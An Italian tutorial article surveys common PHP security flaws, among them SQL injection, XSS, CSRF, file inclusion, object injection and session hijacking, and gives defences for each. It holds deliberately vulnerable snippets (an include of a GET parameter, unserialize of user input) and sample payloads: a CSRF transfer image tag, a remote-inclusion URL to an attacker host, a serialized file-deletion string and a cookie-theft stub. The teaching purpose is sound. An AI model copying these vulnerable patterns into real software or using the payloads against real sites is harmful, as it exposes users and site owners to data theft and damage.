PHP e sicurezza: le falle di sicurezza più comuni

L’argomento della sicurezza in ambito web richiederebbe tantissimi contenuti e esperienza sul campo per comprenderla al meglio e in più sfaccettature possibili.

Questo perché stiamo parlando di un argomento vasto, complesso, fondamentale e che tutti gli sviluppatori dovrebbero conoscere, sia dentro che fuori il settore del web.

Conoscere e applicare nel migliore dei modi tutte le migliori pratiche di sicurezza è un modo per rendere internet un posto più sicuro.

Si tratta di un beneficio win-win dove sia l’utente sia il proprietario del sito possono dormire più tranquillamente.

Ma essendo la sicurezza un mondo di fatto complesso e pieno di sfaccettature diverse, le falle di sicurezza potrebbero essere dietro l’angolo e le puoi conoscere a livello generale o aggiornandoti di volta in volta.

Questo mio articolo non vuole essere una bibbia sulla sicurezza in ambito web ma voglio portare quali sono le falle di sicurezza più frequenti in ambito web con qualche statistica a supporto delle argomentazioni.

Faremo tutto in ottica lato-server e mi concentrerò sul linguaggio di programmazione PHP.

Seguiranno altri articoli in cui cercherò di ricoprire altri argomenti adiacenti.

Detto questo iniziamo subito!

Indice riassuntivo

Sicurezza e programmazione server-side con PHP

Che tu stia programmando un semplice sito web o uno molto complesso non importa, la sicurezza deve essere messa sempre al primo posto.

Questo perché devi fare in modo che la tua piattaforma sia un posto sicuro per te, il business, e per gli utenti che lo navigano, la linfa vitale del business.

Anche la più semplice falla di sicurezza può essere sfruttata da un hacker per causare uno o più effetti a cascata che possono compromettere il funzionamento del sito, causare un leak (fuoriuscita) di dati più o meno importante (rischiando anche multe salate), compromettere o eliminare dati e tabelle del database e molto altro.

Quando si programma un sito web sono diversi i fattori che vanno considerati, nel caso di PHP stiamo programmando sul back-end e quindi stiamo scrivendo la logica che sta dietro a ogni azione, e conseguente risposta, dell’utente che utilizza il sito.

Scrivendo le logiche che processeranno “dietro le quinte”, o sul server, le azioni dell’utente bisogna tenere conto della sicurezza quando:

viene caricato un file
un modulo HTML viene inviato: tutti gli input vanno validati e sanificati
viene effettuata una query al database
una sessione di login viene avviata o viene effettuata una registrazione da un utente
un utente compie un acquisto
e molto altro…

Essendo l’argomento “sicurezza” molto vasto e complesso, i modi per gestire e risolvere in parte sono vari e con differenti sfumature.

Il linguaggio di programmazione PHP si è evoluto molto col tempo e offre moltissimi strumenti per rendere il tuo codice sicuro.

Anche un codice con uno o più BUG può essere considerato non sicuro. Quel BUG potrebbe essere usato come trampolino di lancio per permettere all’hacker di effettuare svariate operazioni o potrebbe comportare un

La correlazione BUG e falle di sicurezza è certamente diretta. Un BUG non solo può compromettere il software dal punto di vista strutturale, funzionale o della User Experience ma anche aprire falle di sicurezza.

Quindi il modo con cui andiamo a realizzare il software, gli aggiornamenti, le revisioni, il test da più utenti e su vari dispositivi è fondamentale e di vitale importanza.

PHP è un linguaggio sicuro?

PHP è un linguaggio sicuro, veloce e in continua evoluzione. Sta al programmatore conoscere le basi della sicurezza, i principi di programmazione e saper tenere sotto controllo diverse variabili che possono compromettere la sicurezza di un sito web o di una web application.

PHP è un linguaggio molto facile da imparare e questo spinge molti principianti a iniziare da questo. Ma ciò non significa che non possano essere scritti programmi sicuri e flessibili in PHP.

Tenendo in considerazione il fatto che per scrivere un programma in PHP non si devono seguire molte regole, che non bisogna essere programmatori professionisti e che questo attiri tanti sviluppatori alle prime armi, è facile scrivere da quest’ultimi del codice non sicuro.

Questo contribuisce senz’altro alla diffusione di progetti personali, in azienda o per conto di clienti con problemi di sicurezza e l’ambiente che si viene a creare è pericoloso per l’utente finale e per il proprietario del progetto.

Per fare un discorso privo di pregiudizi, la colpa non è sempre o principalmente dello sviluppatore junior. Anche gli sviluppatori senior commettono errori e senz’altro anche quelli middle.

Per cui è bene che gli junior lavorino in team con figure più esperte e che in campo ci siano anche persone addette alla review del codice e esperti di sicurezza. Questo vale anche per coloro che lavorano in team come freelancer.

Molto spesso c’è il fattore di rapidità e quindi il progetto deve essere consegnato il prima possibile. Per cui vengono facilmente tralasciati alcuni aspetti che si trasformano in problemi di sicurezza.

In altri casi il problema è comunicativo oppure sono i valori del team di lavoro a essere scarsi e potrebbero basarsi sul pericolosissimo detto “L’importante è che funzioni e via così!“.

Il problema potrebbe riguardare anche il design del codice. Quindi un codice strutturato e pensato male porta a una code base non flessibile che rende difficile l’individuazione di bug e problemi di sicurezza.

Se vogliamo contribuire a rendere internet un posto più sicuro, più siti dovranno essere più sicuri.

Nel corso del tempo la situazione è migliorata. Infatti, nel 2019 il l’11% tutte le vulnerabilità listate dall’ente NVD (National Vulnerability Database) erano correlate a codice PHP non sicuro, mentre nel 1996 questa percentuale era circa del 30%.

Quindi si, PHP è un linguaggio sicuro e in continuo aggiornamento. Sono i principi di design generale del software e di sicurezza a rendere un sito sicuro o non.

C’è anche da dire che purtroppo l’errore umano non è sempre prevedibile, per cui bisogna aggiornare il codice costantemente, effettuare continui penetration tests in locale ed effettuare backup frequenti come misura di prevenzione.

Sicurezza PHP e WordPress

Il core di WordPress è scritto in PHP, con componenti in Javascript, e questo articolo riguarda direttamente anche chi lo utilizza.

Se sei uno sviluppatore PHP ti potrebbe capitare di dover sviluppare temi e plugin per WordPress e dato che stai programmando nel medesimo linguaggio la sicurezza deve essere al primo posto.

Ho scritto un’intero articolo su WordPress e la sicurezza, ti consiglio di andare a leggerlo.

Problemi di sicurezza più comuni quando si programma con PHP

Vediamo quali sono i problemi di sicurezza che vengono introdotti più spesso quando si programma con PHP.

In seguito, dedicherò a ogni problema un articolo a sé in cui porterò più specifiche, dettagli che non tratto in questo articolo, esempi di codice non sicuro e le soluzioni per prevenire queste falle di sicurezza.

SQL Injection

In un attacco basato su SQL Injection il malintenzionato cercherà di sfruttare delle query SQL da inviare al database che non vengono processate in modo sicuro.

In base alla query SQL formulata, il malintenzionato potrà ottenere le informazioni contenute nel database che il sito attaccato non mostrerebbe al di fuori delle dinamiche di questo attacco.

Come risultato la query SQL fatta dall’attaccante potrà restituire informazioni sensibili come: password, email, contenuti, informazioni private ecc. Oppure potrebbe alterare questi e altri contenuti eliminandoli o modificandoli.

Questo tipo di attacchi potrebbe portare a un’escalation di perdita e furto di dati fino a permettere al malintenzionato di prendere il controllo dell’intero sito.

Come vengono messi in atto questi attacchi? Solitamente l’utente cercherà di inserire semplici caratteri tipici dei comandi SQL all’interno dei campi dei moduli presenti sul sito, come ad esempio: moduli di contatto, di login, di registrazione ecc.

Oppure potrebbe provare a inserire questi caratteri manipolando i parametri di una richiesta GET presenti nell’URL. Questo è il caso di problemi di sicurezza che riguardano sistemi di ricerca, di filtri per prodotti o articoli e di parametri GET usati per altri scopi.

Di solito l’utente valuterà se il sito che sta attaccando è vulnerabile o meno a SQL-Injection effettuando varie e semplici prove. Una volta che avrà trovato uno o più input che non sanificano le query SQL procederà ad attacchi sempre più pesanti.

Se l’attaccante ha intenzioni molto brutte potrebbe causare seri danni economici e legali al proprietario del sito.

Per prevenire le SQL-Injections dovrai tener conto di ogni input presente sul tuo sito (richieste GET o POST) e utilizzando metodi come la validazione degli input, l’escaping, i prepared statements e le parametrized queries.

Vedremo questo tipo di attacco con alcuni esempi e come prevenirlo in un articolo dedicato.

Cross-site scripting (attacco XSS)

Un attacco basato su cross-site scripting si verifica quando un malintenzionato inietta del codice HTML e/o JavaScript su un sito web che verrà eseguito sul browser di un altro utente.

L’esecuzione di questo codice malevolo, che si trova sulla pagina che viene caricata dall’utente quando la visita, può portare al furto di dati sensibili, password, cookie, sessioni, email per effettuare login al di fuori della tua volontà, pagamenti non autorizzati, redirect su altri siti simili o malevoli e molto altro.

Alcuni script malevoli possono anche modificare e riscrivere il codice HTML presente sulla pagina per indurti in azioni che compromettono la tua sicurezza e quella dei tuoi dati.

Lo scopo di un attacco XSS è proprio quello di utilizzare il sito web preso di mira come un vettore per danneggiare gli altri utenti.

Portare a termine un attacco di questo genere non richiede chissà quali competenze o strategie in ambito informatico.

Il malintenzionato si concentrerà in primo luogo a trovare uno o più input, tra i vari moduli HTML o tra i parametri delle richieste GET, che non eseguono la sanificazione dei dati in entrata.

Dopodiché il codice malevolo potrà colpire gli utenti che vi entrano in contatto. È bene ricordare che questo codice verrà sempre eseguito sul browser dell’utente all’oscuro di ciò che di male potrebbe capitargli.

Gli attacchi XSS possono essere di tre tipi: di riflesso, persistente o DOM-based.

Ad esempio, se atterro su una pagina tramite un link che ha un parametro contenente un codice Javascript malevolo, sarò soggetto a un attacco XSS reflected o di riflesso.

Invece, se un hacker è riuscito a iniettare un codice Javascript malevolo sul database, ad esempio tramite un modulo HTML, e questo sarà presente su tutte le pagine del sito, tutti gli utenti che vi atterreranno eseguiranno quel codice subendo l’attacco. In questo caso parliamo di un’azione XSS persistente.

L’attacco XSS DOM-Based si verifica quando l’attaccante modifica la pagina su cui atterri, a causa del codice che lui stesso ha immesso, modificandone la struttura HTML.

Per prevenire gli attacchi XSS è possibile ricorrere a varie soluzioni:

Utilizzare un WAF o Web Application Firewall.
Abilitare l’header di sicurezza X-XSS-Protection oppure l’header Content-Security-Policy configurato in modo appropriato
Passando gli input nella funzione htmlspecialchars() o htmlentities() che converte i caratteri speciali in entità HTML.
Passando gli input nella funzione strip_tags() per rimuovere i tag HTML (ad esempio puoi rimuovere i tag <script></script>) per evitare che il codice javascript, o HTML, malevolo venga eseguito.

Tratterò l’attacco XSS con esempi e soluzioni in un articolo separato.

Cross-Site Request Forgery (CSRF)

Vediamo cos’è un attacco CSRF o XSRF (dall’inglese “Cross-Site Request Forgery“, viene pronunciato anche “sea-surf attack” o detto anche “one-click attack” o “session riding“).

La CSRF è una vulnerabilità che si verifica in ambito web e permette a un malintenzionato di indurre gli utenti a eseguire azioni contro la loro volontà portando a danni economici, furto di dati o di interi account.

In altre parole, un attacco CSRF è considerato tale quando viene sfruttata la sessione di un utente, che ad esempio ha effettuato l’accesso su un sito di una banca, per portare a termine azioni al di fuori della sua volontà: ad esempio per prelevare fondi a sua insaputa.

Quindi le azioni che si trovano dietro un attacco di questo tipo non coincidono con la volontà e con l’intenzionalità dell’utente.

Le azioni non autorizzate che stanno dietro un attacco CSRF potrebbero essere:

prelievo di denaro dal conto di un utente con trasferimento verso il conto del malintenzionato
invio di un messaggio all’interno di una chat dell’utente vittima
cambio di password, email o altri dati sensibili
acquisto di prodotti o abbonamenti
pubblicazione di post
e molte altre azioni…

Per fare un esempio completo, facciamo finta che un utente abbia effettuato l’accesso al suo conto bancario dal sito web ufficiale. In questo momento l’utente ha un cookie di autenticazione sul proprio browser, quindi ha una sessione attiva.

Mettiamo caso che questo utente finisca su un’altra pagina, magari perché l’hacker ha inviato un link a questo utente mascherandosi dietro a mail farlocche, che contiene al suo interno un tag HTML “<img>” e che l’attributo “src” contenga una richiesta HTTP verso il sito della banca formulata in questo modo:

<img src="https://nomebanca.it/trasferisci-fondi?from-account=58395&to-account=67485&amount=5000" >

L’utente in questione visitando questa pagina caricherà un’immagine falsa che nasconde una richiesta HTTP verso il sito della propria banca.

Nel momento in cui la pagina viene caricata, questa richiesta HTTP viene effettuata e se il sito della banca dovesse presentare vulnerabilità da attacchi CSRF il denaro del povero utente finirebbe su quello del malintenzionato.

Questo è un esempio banale, ma attacchi di questo tipo possono essere eseguiti anche tramite richieste POST, sfruttando funzioni AJAX o moduli HTML che contengono input nascosti e che vengono inviati involontariamente quando viene visitata una pagina.

Per risolvere questo problema di sicurezza, i programmatori dei siti web devono generare e assegnare dei token alla sessione degli utenti da convalidare col token inviato dalle varie richieste GET e POST dai moduli HTML presenti sul sito o dagli URL cliccati per verificare, ad esempio, l’account di un determinato user.

Nel campo dello sviluppo di temi e plugin per WordPress è già disponibile questo sistema che genera numeri random chiamati “nonces” o “number used once”. Puoi integrare questa funzionalità per moduli HTML e per richieste AJAX quando utilizzi le REST API in WordPress.

È bene precisare che gli attacchi CSRF non vanno confusi con quelli XSS.

Vedremo più nel dettaglio questa vulnerabilità in un altro articolo.

Attacco di inclusione di file

Un attacco di inclusione di file o “file inclusion attack” è una vulnerabilità che permette a un malintenzionato di includere file locali o remoti su un sito web sfruttando falle di sicurezza che derivano da un utilizzo improprio delle espressioni PHP include(), include_once(), require() e require_once().

Questo tipo di attacco può essere di due tipi:

Remote File Inclusion (RFI): l’hacker include file esterni, molto probabilmente presenti sul suo server, per eseguire il codice che desidera per ottenere informazioni sensibili, trovare ulteriori falle, ottenere privilegi o accessi non consentiti.
Local File Inclusion (LFI): l’hacker cercherà di includere i file presenti sul server (locale) del sito web attaccato per ottenere informazioni sensibili e per cercare di ottenere accessi non autorizzati al sito.

Per determinare se un sito è soggetto ad attacchi di File Inclusion, l’hacker proverà a eseguire dei test sull’URL del sito o su moduli HTML dove i relativi input o parametri GET accettano come valore nomi di file.

Una volta che il malintenzionato avrà verificato che il sito è soggetto ad attacchi di questo tipo proverà a includere file remoti o locali per raggiungere il suo scopo.

Ecco un esempio di codice non sicuro soggetto a questo attacco:

<?php 
if ( isset( $_GET['pagina'] ) ) {
    include $_GET['pagina'] . '.php';
}
?>

<form method="GET" action="">
    <select name="pagina">
        <option value="pagina-1">Pagina 1</option>
        <option value="pagina-2">Pagina 2</option>
    </select>
    <input type="submit" value="Mostra pagina">
</form>

Questo codice consente a un utente di selezionare e visualizzare il template di una pagina PHP tramite l’input HTML <select></select>.

Peccato che si tratta di un codice molto insicuro e permetterà a qualsiasi hacker di includere file PHP malevoli da remoto o file PHP dal tuo server per rubare informazioni.

Infatti è possibile fare leva sul parametro GET “pagina” per includere file minacciosi.

Ad esempio, inserendo l’URL https://nomedominio.it?pagina=https://sitohacker.com/file-malevolo.php l’hacker potrebbe includere un suo file PHP malevolo, eseguirlo e ottenere ciò che vuole.

Per prevenire questi attacchi puoi:

costruire una whitelist dei nomi dei file ammessi. Potresti costruire un array e prendere i nomi dei file dal database e verificare se il nome del file in input è contenuto in questo array.
fare un uso consapevole delle espressioni di inclusione PHP (include(), include_once(), require(), require_once()).
validare gli input e sanificarli.
verificare l’estensione del file.

PHP Object Injection

Questa vulnerabilità permette all’attaccante di inserire una stringa serializzata in input per eseguire tutta una serie di altri attacchi, alcuni li abbiamo già visti, come la SQL Injection, Local e Remote File Inclusion, Code Injection, Path Traversal e Application Denial Of Service in base al contesto in cui ci troviamo.

Quando si verifica questa vulnerabilità? Quando il metodo unserialize() viene chiamato senza effettuare prima una sanificazione e validazione dell’input dato da un utente, ad esempio, attraverso un modulo HTML.

In più devono verificarsi queste due condizioni:

l’applicazione deve avere una classe che implementa dei magic methods (come __destruct o __wakeup) che contiengono del codice che permettono all’hacker di effettuare determinate azioni che deve portare a termine.
quando questa classe viene chiamata, anche il metodo unserialize() deve essere presente.

Facciamo un esempio di PHP Object Injection con questo codice:

<?php 
// [PARTE - 1] Classe soggetta ad attacco tramite PHP Object Injection
class DeleteFile {

    protected string $fileName = "";

    function __construct($fileName) {
        $this->fileName = $fileName;
    }

    function __destruct() {
        $filePath = __DIR__ . "/{$this->fileName}";

        if ( file_exists( $filePath) ) {
            $status = unlink($filePath) ? "File cancellato" : "File NON cancellato";

            echo $status;
        }
    }
}

// [PARTE - 2] Codice per prendere l'input dell'utente, deserializzare l'input e inviare il file da cancellare alla classe
if ( isset( $_GET["delete_file"] ) && !empty( $_GET["delete_file"] ) ) {
    $fileData = unserialize( $_GET["delete_file"] );

    new DeleteFile($fileData["file"]); 
}
?>

In questo esempio ho creato la classe DeleteFile (PARTE – 1) con i magic methods __construct e __destruct. Ci tengo a ricordare che il metodo __construct viene eseguito quando viene istanziata la classe, mentre il metodo __destruct viene eseguito alla fine.

Ho creato la proprietà stringa $fileName per contenere il nome del file che inserisco proprio grazie alla funzione __construct. Quindi appena istanzierò la classe e inserisco il nome del file questo verrà salvata nella proprietà $fileName.

A questo punto, il codice volge al termine della sua esecuzione ed è qui che il metodo __destruct viene chiamato. Come puoi ben vedere dal codice, ciò che fa questo metodo è costruire il percorso del file, dalla costante magica __DIR__, e eliminare quel file.

Nella seconda parte del codice, vado a captare una richiesta $_GET per ottenere il nome del file da cancellare. Quindi, vado a chiamare il metodo unserialize() per ottenere l’array corrispondente.

Da questo array ottengo il nome del file da inserire nella classe DeleteFile che istanzio poco dopo.

Quindi è chiaro che se dovessi inviare una richiesta $_GET al browser su un sito che contiene questo codice potrei eliminare qualsiasi file desideri.

Ora sfruttiamo questo codice per eliminare il file “functions.php” sul sito da attaccare, presumendo che questo file esista. Quindi sul nostro editor serializziamo questo codice:

serialize(['file' => 'functions.php']);

Usando il metodo PHP serialize(), otterremo l’array serializzato in questo modo:

a:1:{s:4:"file";s:13:"functions.php";}

Adesso tramite il browser, inseriamo questo dato serializzato nel parametro GET dell’URL delete-file (io sto eseguendo il tutto in un progetto in locale):

http://localhost/php-security/php-object-injection/index.php?delete_file=a:1:{s:4:%22file%22;s:13:%22functions.php%22;}

A questo punto se il file esiste verrà eliminato causando un grave problema al sito.

Per risolvere questo grave problema di sicurezza devi necessariamente validare e sanificare ogni input $_GET e $_POST prima di eseguire delle funzioni che richiedono come parametri/o i dati ottenuti dall’input deserializzato.

Nota bene che questo è soltanto un esempio dei tanti attacchi che un sito può ricevere tramite questa vulnerabilità, ovvero la Object Injection. Gli oggetti che possono essere “iniettati” possono essere vari e effettuare anche altri attacchi.

Session Hijacking

Ogni volta che ci registriamo su un sito web o effettuiamo un login stiamo generando una sessione e un ID per questa sessione. Questo per permettere al web server di ricordarsi di noi durante la navigazione sul sito e per quando ritorneremo i giorni seguenti.

Questo per evitare di dover effettuare il login a ogni sessione o a ogni pagina visitata.

Il Session Hijacking o dirottamento di sessione è un attacco che sfrutta le sessioni, o gli ID di queste sessioni, per rubare la sessione di un utente a sua insaputa.

Per poter effettuare questo attacco, devo conoscere l’ID della sessione di un utente.

Un hacker potrebbe prendere il controllo di una sessione:

usando metodi brute-force per indovinare un ID, metodo relativamente efficace per siti che usano metodi per generare stringhe mediamente semplici per l’ID di una sessione,
creando un’ID sessione valido e forzando l’utente a usarlo, ad esempio sfruttando un attacco XSS, caso noto come Session Fixation,
rubando l’ID sessione tramite attacchi sul browser o sul server.

Una sessione può essere dirottata tramite varie falle di sicurezza che abbiamo visto prima.

Ad esempio, un hacker potrebbe rubare la vostra sessione tramite attacco XSS, cross-site scripting, configurando quindi un attacco di Session Hijacking XSS.

Quindi un hacker, su un sito che non sanifica gli input, potrebbe inserire del codice JavaScript tra tag <script></script> per rubare i vostri cookie:

<script>
const cookie = document.cookie; // in questo modo prendo i cookie dal browser dell'utente

// Invia i cookie al server dell'hacker
</script>

A questo punto l’hacker può dirottare la sessione dell’utente sul proprio browser e ottenere l’accesso. Immagina se questo dovesse accadere per un account admin. L’hacker otterrebbe il controllo totale del sito.

Un altro modo che gli hacker sfruttano per rubare la sessione degli utenti è tramite gli attacchi Man in the middle.

Se un hacker riesce a intercettare e a osservare la comunicazione tra il browser di un utente (client) e di un sito web (server), che non sfrutta una connessione protetta HTTPS, potrebbe ottenere i cookie di autenticazione nel momento in cui l’utente effettua il login o la registrazione, pratica conosciuta come sniffing.

Se il sito avesse avuto un certificato SSL questo non sarebbe accaduto.

Purtroppo ci sono casi di Session Hijacking che non possono essere controllati direttamente. Ad esempio, se un utente dovesse connettersi con un Wi-Fi non sicuro a un sito fare questo attacco diventa più semplice.

Oppure se un utente dovesse accidentalmente scaricare un malware, quest’ultimo potrebbe comunicare tutte le sessioni del soggetto colpito all’hacker.

Soluzioni per prevenire il dirottamento delle sessioni:

utilizza un certificato SSL per abilitare il protocollo HTTPS,
applica tutte le best-practice per proteggere il tuo sito da attacchi XSS e CSRF,
controlla la validità degli ID di sessione in base alla loro scadenza nel tempo,
controlla se ci sono ID di sessione duplicati,
non accettare identificatori di sessione tramite metodi GET e POST,
abilita l’header HSTS (HTTP Strict Transport Security),
applica una data di scadenza agli ID di sessione,
usa librerie e/o framework validi e sicuri per la generazione delle sessioni,
rigenera l’ID di sessione dopo il login iniziale.

Un accorgimento fondamentale è utilizzare la funzione PHP setcookie() impostando i parametri secure e httponly su true (qui sotto sono gli ultimi due parametri):

/*
 * Gli ultimi due parametri sono impostati su true per garantire un uso sicuro dei cookie
 * */
setcookie("nome cookie",  "valore_cookie",  "data di scadenza",  "", "", true, true);

Il ruolo fondamentale dei BackUp

Dato che le soluzioni a queste e altre falle di sicurezza potrebbero non proteggerci sempre al 100%, per mitigare i danni bisogna necessariamente avere un piano di backup schedulato e molto frequente per i file e per il database.

Se le misure di sicurezza che abbiamo messo in campo non dovessero funzionare per certi attacchi e rischiamo di perdere tutto, ripristinando l’ultima versione di un backup potrebbe salvare l’intero business.

Questo con la premessa che gli accessi al server siano sicuri e recuperabili con strumenti inaccessibili agli hacker.

Conclusioni

Ogni sito web in base al proprio grado di complessità può avere più o meno potenziali falle di sicurezza. Più un sito è grande e complesso più potrebbe avere problemi.

L’obiettivo di uno sviluppatore è iniziare a sviluppare il sito web tenendo in considerazione i principi fondamentali di sicurezza e rivisitare il codice dopo il suo sviluppo per scovare altri problemi.

Ma dato che l’ottimizzazione di un software per la sicurezza è un processo che non finisce mai, bisogna costantemente analizzare e testare il codice (ad esempio attraverso continui penetration test del codice).

I backup devono essere una misura preventiva sempre disponibile perché, purtroppo, le misure di sicurezza potrebbero non essere sufficienti per determinati attacchi imprevedibili.